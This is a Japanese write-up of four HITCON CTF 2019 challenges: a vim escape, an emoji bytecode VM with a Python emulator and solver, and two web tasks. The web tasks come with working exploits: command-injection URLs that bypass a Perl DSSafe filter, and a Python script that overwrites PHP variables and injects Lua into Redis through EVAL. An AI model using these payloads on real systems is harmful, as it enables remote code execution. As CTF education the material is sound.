10 月 12 日から 10 月 14 日にかけて開催された HITCON CTF 2019 Quals に、チーム Harekaze として参加しました。最終的にチームで 953 点を獲得し、順位は得点 662 チーム中 64 位でした。うち、私は 4 問を解いて 705 点を入れました。
以下、私が解いた問題の write-up です。
It’s an easy vim escape.
(SSH の接続情報)
SSH クライアントで問題サーバに接続してみると、Vim の画面が表示されました。挿入モードになっているようなので、とりあえずノーマルモードに移行するために Esc キーを押してみましたが、すぐに挿入モードに戻ってしまいます。
様々なショートカットキーを試していたところ、Ctrl-L を押すことでなぜかノーマルモードに戻ることができました。:!ls
を入力すると flag
というファイルの存在が確認でき、:!cat flag
でフラグが得られました。
hitcon{accidentally enter vim -y and can't leave Q_Q}
A simple VM that takes emojis as input! Try figure out the secret!
添付ファイル: emojivm-d967bd1b53b927820de27960f8eec7d7833150ca.zip
与えられた ZIP ファイルを展開すると、emojivm_misc
emojivm_pwn
emojivm_reverse
というディレクトリが出てきました。Misc カテゴリと Pwn カテゴリにそれぞれ同じ名前の問題がありますが、今回は Reverse カテゴリなので emojivm_reverse
を見ていきます。
emojivm_reverse
には chal.evm
(UTF-8 でエンコードされた、絵文字のみが含まれるテキストファイル)、emojivm
(ELF)、readme.txt
(./emojivm ./chal.evm
という内容) の 3 つのファイルがありました。chal.evm
は emojivm
という VM で実行ができるバイトコード列のようです。
私が問題を見た時点で既に megumish さんによって絵文字が持つ意味 (オペコードなど) が解析されていたので、この解析結果を利用してまず Python で VM の実装をしました。
# coding: utf-8
import sys
DEBUG = True
DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
return DIGITS.index(program.read(1))
def run(program, stack, memory):
while True:
c = program.read(1)
if c == '':
break
if c == '\U0001f233': # 0x1,NOP
pass
elif c == '\U00002795': # 0x2,ADD
stack.append(stack.pop() + stack.pop())
elif c == '\U00002796': # 0x3,SUB
stack.append(stack.pop() - stack.pop())
elif c == '\U0000274c': # 0x4,MUL
stack.append(stack.pop() * stack.pop())
elif c == '\U00002753': # 0x5,MOD
stack.append(stack.pop() % stack.pop())
elif c == '\U0000274e': # 0x6,XOR
stack.append(stack.pop() ^ stack.pop())
elif c == '\U0001f46b': # 0x7,AND
stack.append(stack.pop() & stack.pop())
elif c == '\U0001f480': # 0x8,NEQ
a, b = stack.pop(), stack.pop()
stack.append(a != b)
elif c == '\U0001f4af': # 0x9,EQ
a, b = stack.pop(), stack.pop()
if DEBUG:
print('{:04x}: EQ {}, {}'.format(program.tell(), a, b))
stack.append(a == b)
elif c == '\U0001f680': # 0xa,GOTO
program.seek(stack.pop())
elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
addr, cond = stack.pop(), stack.pop()
if cond:
program.seek(addr)
elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
addr, cond = stack.pop(), stack.pop()
if not cond:
program.seek(addr)
elif c == '\U000023ec': # 0xd,PUSH
stack.append(read_int(program))
elif c == '\U0001f51d': # 0xe,POP
acc = stack.pop()
elif c == '\U0001f4e4': # 0xf,LOAD
addr, index = stack.pop(), stack.pop()
stack.append(memory[addr][index])
elif c == '\U0001f4e5': # 0x10,STORE
addr, index, value = stack.pop(), stack.pop(), stack.pop()
memory[addr][index] = value
elif c == '\U0001f195': # 0x11,NEW
memory.append([0] * stack.pop())
stack.append(len(memory) - 1)
elif c == '\U0001f193': # 0x12,FREE
memory[stack.pop()] = None
elif c == '\U0001f4c4': # 0x13,READ
inp = input('').strip().encode() + b'\0'
memory[stack.pop()] = inp
elif c == '\U0001f4dd': # 0x14,WRITE
s = bytes(memory[stack.pop()])
sys.stdout.write(s[:s.index(b'\0')].decode('utf-8'))
elif c == '\U0001f521': # 0x15,TO_STR
# TODO
pass
elif c == '\U0001f522': # 0x16,TO_INT
# TODO
pass
elif c == '\U0001f6d1': # 0x17,EXIT
return
if __name__ == '__main__':
import io
if len(sys.argv) < 2:
print('[usage] python {} <program>'.format(sys.argv[0]))
sys.exit(1)
with open(sys.argv[1], 'rb') as f:
program = f.read().decode('utf-8')
run(io.StringIO(program), [], [])
EQ
というオペコードが来たときにオペランドを出力するようにしています。では、試しに実行してみましょう。
$ python3 vm.py chal.evm
*************************************
* *
* Welcome to *
* EmojiVM 😀😁🤣🤔🤨😮 *
* The Reverse Challenge *
* *
*************************************
Please input the secret: abcd
1aa9: EQ 0, 97
1ae1: EQ 10, 97
1aa9: EQ 0, 98
1ae1: EQ 10, 98
1aa9: EQ 0, 99
1ae1: EQ 10, 99
1aa9: EQ 0, 100
1ae1: EQ 10, 100
1aa9: EQ 0, 0
1b9a: EQ 24, 4
😭
$ python3 vm.py chal.evm
*************************************
* *
* Welcome to *
* EmojiVM 😀😁🤣🤔🤨😮 *
* The Reverse Challenge *
* *
*************************************
Please input the secret: abcde
1aa9: EQ 0, 97
1ae1: EQ 10, 97
1aa9: EQ 0, 98
1ae1: EQ 10, 98
1aa9: EQ 0, 99
1ae1: EQ 10, 99
1aa9: EQ 0, 100
1ae1: EQ 10, 100
1aa9: EQ 0, 101
1ae1: EQ 10, 101
1aa9: EQ 0, 0
1b9a: EQ 24, 5
😭
1 文字ずつ \0
か \n
でないかループでチェックしたあと、24
と入力した文字数を比較しています。24 文字の文字列を入力してみましょう。
$ python3 vm.py chal.evm
︙
Please input the secret: abcdefghijklmnopqrstuvwx
︙
1aa9: EQ 0, 120
1ae1: EQ 10, 120
1aa9: EQ 0, 0
1b9a: EQ 24, 24
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 101, 45
0x1b9a
の文字数チェックより先に進むことができました。入力した文字列の 5 文字目の 101
(ASCII コードで e
) と 45
(-
) が比較されています。e
を -
に変えてもう一度試してみましょう。
$ python3 vm.py chal.evm
︙
Please input the secret: abcd-fghijklmnopqrstuvwx
︙
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 45, 45
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 106, 45
今度は 10 文字目の 106
(j
) と 45
(-
) が比較されています。これを繰り返して、abcd-fghi-klmn-pqrs-uvwx
のように 4 文字ごとに -
を入れることで 0x1c8f
より先に進むことができました。
$ python3 vm.py chal.evm
︙
Please input the secret: abcd-fghi-klmn-pqrs-uvwx
︙
1faa: EQ 142, 127
1faa: EQ 99, 93
1faa: EQ 205, 199
1faa: EQ 18, 5
1faa: EQ 75, 75
︙
20a4: EQ 24, -16
😭
$ python3 vm.py chal.evm
︙
Please input the secret: bbcd-fghi-klmn-pqrs-uvwx
︙
1faa: EQ 142, 128
1faa: EQ 99, 93
1faa: EQ 205, 199
1faa: EQ 18, 5
1faa: EQ 75, 75
1faa: EQ 88, 89
︙
20a4: EQ 24, -16
😭
1 文字ずつ、謎の処理がなされた上で謎のバイト列と比較がされているようです。1 文字ずつブルートフォースして、EQ
が True
になる回数が最も多い文字が正解であるとみなすというソルバを書きましょう。
# coding: utf-8
import re
import sys
DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
return DIGITS.index(program.read(1))
def run(program, stack, memory, inp):
res = 0
while True:
c = program.read(1)
if c == '':
break
if c == '\U0001f233': # 0x1,NOP
pass
elif c == '\U00002795': # 0x2,ADD
stack.append(stack.pop() + stack.pop())
elif c == '\U00002796': # 0x3,SUB
stack.append(stack.pop() - stack.pop())
elif c == '\U0000274c': # 0x4,MUL
stack.append(stack.pop() * stack.pop())
elif c == '\U00002753': # 0x5,MOD
stack.append(stack.pop() % stack.pop())
elif c == '\U0000274e': # 0x6,XOR
stack.append(stack.pop() ^ stack.pop())
elif c == '\U0001f46b': # 0x7,AND
stack.append(stack.pop() & stack.pop())
elif c == '\U0001f480': # 0x8,NEQ
a, b = stack.pop(), stack.pop()
stack.append(a != b)
elif c == '\U0001f4af': # 0x9,EQ
a, b = stack.pop(), stack.pop()
if a == b:
res += 1
stack.append(a == b)
elif c == '\U0001f680': # 0xa,GOTO
program.seek(stack.pop())
elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
addr, cond = stack.pop(), stack.pop()
if cond:
program.seek(addr)
elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
addr, cond = stack.pop(), stack.pop()
if not cond:
program.seek(addr)
elif c == '\U000023ec': # 0xd,PUSH
stack.append(read_int(program))
elif c == '\U0001f51d': # 0xe,POP
acc = stack.pop()
elif c == '\U0001f4e4': # 0xf,LOAD
addr, index = stack.pop(), stack.pop()
stack.append(memory[addr][index])
elif c == '\U0001f4e5': # 0x10,STORE
addr, index, value = stack.pop(), stack.pop(), stack.pop()
memory[addr][index] = value
elif c == '\U0001f195': # 0x11,NEW
memory.append([0] * stack.pop())
stack.append(len(memory) - 1)
elif c == '\U0001f193': # 0x12,FREE
memory[stack.pop()] = None
elif c == '\U0001f4c4': # 0x13,READ
memory[stack.pop()] = inp.strip().encode() + b'\0'
elif c == '\U0001f4dd': # 0x14,WRITE
stack.pop()
elif c == '\U0001f6d1': # 0x17,EXIT
break
return res
def hyphenize(s, x):
t = (secret + c).ljust(x, 'A')
return '-'.join(re.findall(r'.{4}', t))
if __name__ == '__main__':
import io
import string
if len(sys.argv) < 2:
print('[usage] python {} <program>'.format(sys.argv[0]))
sys.exit(1)
with open(sys.argv[1], 'rb') as f:
program = f.read().decode('utf-8')
secret = ''
for _ in range(20):
p = run(io.StringIO(program), [], [], 'AAAA-AAAA-AAAA-AAAA-AAAA'), 'A'
for c in string.printable.strip():
t = hyphenize((secret + c), 20)
r = run(io.StringIO(program), [], [], t)
if r > p[0]:
p = r, c
secret += p[1]
print(hyphenize(secret, 20))
$ python3 solve.py chal.evm
︙
plis-g1v3-me33-th3e-f14g
$ python3 vm.py chal.evm
*************************************
* *
* Welcome to *
* EmojiVM 😀😁🤣🤔🤨😮 *
* The Reverse Challenge *
* *
*************************************
Please input the secret: plis-g1v3-me33-th3e-f14g
😍
hitcon{R3vers3_Da_3moj1}
フラグが得られました。
hitcon{R3vers3_Da_3moj1}
Vulnerable Point of Your Network :)
(URL)
与えられた URL にアクセスすると、以下のようなコメントが含まれる HTML が返ってきました。
<!-- Hint for you :)
<a href='diag.cgi'>diag.cgi</a>
<a href='DSSafe.pm'>DSSafe.pm</a> -->
DSSafe.pm
にアクセスすると、__parsecmd
という引数がコマンドライン引数として危険なものを含んでいないかチェックする関数や、__parsecmd
が引数を安全であると判定した場合にのみ、OS コマンドとして実行する system
関数が定義された Perl モジュールが返ってきました。
diag.cgi
にアクセスすると以下のような Perl コードが返ってきました。
#!/usr/bin/perl
use lib '/var/www/html/';
use strict;
use CGI ();
use DSSafe;
sub tcpdump_options_syntax_check {
my $options = shift;
return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
return undef;
}
print "Content-type: text/html\n\n";
my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);
# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
$tpl = "./tmp/" . $tpl . ".thtml";
require($tpl);
}
system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1")
のようにユーザ入力がそのまま OS コマンドに展開されているので余裕そうに見えますが、前述の通り system
は __parsecmd
で引数をチェックしているため、例えば a; curl (URL); #
のような文字列を GET パラメータとして与えても curl (URL)
を実行してはくれません。
いろいろググっていると、Infiltrating Corporate Intranet Like NSA: Pre-Auth RCE on Leading SSL VPNs という、まさに DSSafe.pm
の __parsecmd
をバイパスする方法を紹介しているスライドが見つかりました。ユーザ入力が展開される箇所も system("tcpdump -d $options >/dev/null 2>&1");
と、今回の問題とほとんど同じです。
このスライドを参考に、 /cgi-bin/diag.cgi?options=-r$x=%22ls%20-la%20/%22,system$x%23%202%3E./tmp/neko.thtml%20%3C%20
にアクセスした後 /cgi-bin/diag.cgi?tpl=neko
にアクセスすると、ルートディレクトリに FLAG
という root
だけが読めそうなファイルと、実行することでこれを読むことができそうな $READ_FLAG$
という実行ファイルが見つかりました。
total 104
-rwsr-sr-x 1 root root 8520 Oct 11 23:57 $READ_FLAG$
drwxr-xr-x 23 root root 4096 Oct 12 00:00 .
drwxr-xr-x 23 root root 4096 Oct 12 00:00 ..
-r-------- 1 root root 49 Oct 11 23:59 FLAG
drwxr-xr-x 2 root root 4096 Oct 2 17:11 bin
drwxr-xr-x 3 root root 4096 Oct 2 17:12 boot
drwxr-xr-x 15 root root 2980 Oct 11 19:41 dev
drwxr-xr-x 97 root root 4096 Oct 12 09:15 etc
drwxr-xr-x 4 root root 4096 Oct 11 17:21 home
lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws
lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws
drwxr-xr-x 20 root root 4096 Oct 11 22:11 lib
drwxr-xr-x 2 root root 4096 Oct 2 17:09 lib64
drwx------ 2 root root 16384 Oct 2 17:11 lost+found
drwxr-xr-x 2 root root 4096 Oct 2 17:08 media
drwxr-xr-x 2 root root 4096 Oct 2 17:08 mnt
drwxr-xr-x 3 root root 4096 Oct 11 17:32 opt
dr-xr-xr-x 138 root root 0 Oct 11 19:41 proc
drwx------ 5 root root 4096 Oct 12 09:16 root
drwxr-xr-x 25 root root 960 Oct 12 15:46 run
drwxr-xr-x 2 root root 4096 Oct 2 17:11 sbin
drwxr-xr-x 5 root root 4096 Oct 11 17:04 snap
drwxr-xr-x 2 root root 4096 Oct 2 17:08 srv
dr-xr-xr-x 13 root root 0 Oct 11 23:59 sys
drwxrwxrwt 3 root root 4096 Oct 12 17:57 tmp
drwxr-xr-x 10 root root 4096 Oct 11 21:45 usr
drwxr-xr-x 14 root root 4096 Oct 11 21:45 var
lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws
lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws
"ls -la /"
を "/\$READ_FLAG\$"
に変えればよさそうな雰囲気がありますが、__parsecmd
によって $
などの文字が制限されてしまっています。
__parsecmd
に怒られない範囲で GET パラメータを eval
するようにパラメータを変えて、/$READ_FLAG$
を実行するとフラグが得られました。
/cgi-bin/diag.cgi?options=-r$x=%22eval%20CGI::param%20q!a!%22,eval$x%23%202%3E./tmp/neko.thtml%20%3C%20
→ /cgi-bin/diag.cgi?tpl=neko&a=print%20`/*READ_FLAG*`
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}
Win the jackpot!
(URL)
与えられた URL にアクセスし、luatic
というボタンを押すと以下のようなソースコードが得られました。
<?php
/* Author: Orange Tsai(@orange_8361) */
include "config.php";
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
if (strlen($token) == 0) highlight_file(__FILE__) and exit();
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');
$guess = (int)$guess;
if ($guess == 0) die('Shame on you');
// Check team token
$status = check_team_redis_status($token);
if ($status == "Invalid token") die('Invalid token');
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');
// Get team redis port
$port = get_team_redis_port($token);
if ((int)$port < 1024) die('Try again');
// Connect, we rename insecure commands
// rename-command CONFIG ""
// rename-command SCRIPT ""
// rename-command MODULE ""
// rename-command SLAVEOF ""
// rename-command REPLICAOF ""
// rename-command SET $MY_SET_COMMAND
$redis = new Redis();
$redis->connect("127.0.0.1", $port);
if (!$redis->auth($token)) die('Auth fail');
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
// Lottery!
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
sleep(3); // Slow down...
if ((int)$result === $guess)
die("Congratulations, the flag is $FLAG");
die(":(");
最初に $_REQUEST
のキーが FLAG
や TEST_
などで始まっていないか確認した後、パラメータに含まれる一部の文字 ([]{}=.'"
) を削除した上で extract($_REQUEST)
のような感じで GET パラメータなどを変数として展開しています。
その後ユーザ入力として与えられた $token
(スコアサーバで事前に発行された、チームごとに固有のトークンが入る変数) を使って Redis サーバが立ち上がっているかチェックし、ポート番号を取得して接続し、ログインしています。恐らく、チームごとに別の Redis サーバを用意しているためにこのような処理をしているでしょう。
Check availability
の部分では SET $TEST_KEY $TEST_VALUE
(ただし、SET
は rename-command
によって別の文字列になっている) で書き込んだあと、GET $TEST_KEY
でちゃんと書き換えられたか確認するという一見意味のない処理をしています。これは恐らく $MY_SET_COMMAND
が別のコマンドに書き換えられていないかチェックするためでしょう。
最後に Redis 側で Lua コードによって疑似乱数を取得し、もしこれとユーザ入力として与えられた $guess
が一致していればフラグを表示しています。疑似乱数の範囲は math.random(2^31-1)
を見ればわかるように広く、シード値も PHP 側で random_int(0, 0xffffffff / 2)
で決定しており、推測は困難です。
$MY_SET_COMMAND
や $TEST_KEY
など名前が大文字と _
のみで構成される変数は config.php
で定義されているのでしょう。最初の preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)
のために、ユーザが操作できるのは $guess
か $token
ぐらいしかなさそうに見えます。が、なんとかして書き換えられないでしょうか。
いろいろ試していると、最初の preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)
は文字列の頭だけをチェックしていること、展開時には $_GET
を展開した後に $_POST
を展開するという順番になっていることから、_POST[MY_SET_COMMAND]=EVAL
のような GET パラメータを与えることで $MY_SET_COMMAND
を書き換えられることがわかりました。
フラグを得るには math.random(2^31-1)
の返り値を推測する必要がありますが、例えば math.random
を別の関数に書き換えることで返り値を操作できないでしょうか。先程の方法で MY_SET_COMMAND
を EVAL
に、TEST_KEY
を function math.random() return 123 end
に、TEST_VALUE
を 0
にすればよさそう…ですが、前述の通り []{}=.'"
は消されてしまっています。
いろいろ試していると、string.char(0x41)
は tostring(1):char(0x41):sub(2)
のように "1"
という文字列のメソッドとして string.char
を呼び出したあと、string.sub
で最初の "1"
部分を削除することで代替できることがわかりました。これによって function math.random() return 123 end
という文字列を作り、loadstring(…)()
のような形で eval
相当のことをすれば、[]{}=.'"
が使えないという制限はバイパスできそうです。
最終的に、以下のようなコードでフラグが得られました。
import requests
import urllib.parse
URL = '(省略)'
TOKEN = '(省略)'
def go(args):
url = URL + '&'.join(k + '=' + urllib.parse.quote(v) for k, v in args.items())
print(url)
r = requests.get(url)
print(r.content.decode())
payload = 'function math.random() return 123 end'
payload = 'loadstring(tostring(1):char({}):sub(2))()'.format(','.join(str(ord(c)) for c in payload))
go({
'token': TOKEN,
'guess': '123',
'_POST[MY_SET_COMMAND]': 'EVAL',
'_POST[TEST_KEY]': payload,
'_POST[TEST_VALUE]': '0'
})
go({
'token': TOKEN,
'guess': '123'
})
$ python3 solve.py
http://(省略)/luatic.php?token=(省略)&guess=123&_POST[MY_SET_COMMAND]=EVAL&_POST[TEST_KEY]=loadstring%28tostring%281%29%3Achar%28102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C109%2C97%2C116%2C104%2C46%2C114%2C97%2C110%2C100%2C111%2C109%2C40%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C49%2C50%2C51%2C32%2C101%2C110%2C100%29%3Asub%282%29%29%28%29&_POST[TEST_VALUE]=0
Something Wrong?
http://(省略)/luatic.php?token=(省略)&guess=123
Congratulations, the flag is hitcon{Lua^H Red1s 1s m4g1c!!!}
hitcon{Lua^H Red1s 1s m4g1c!!!}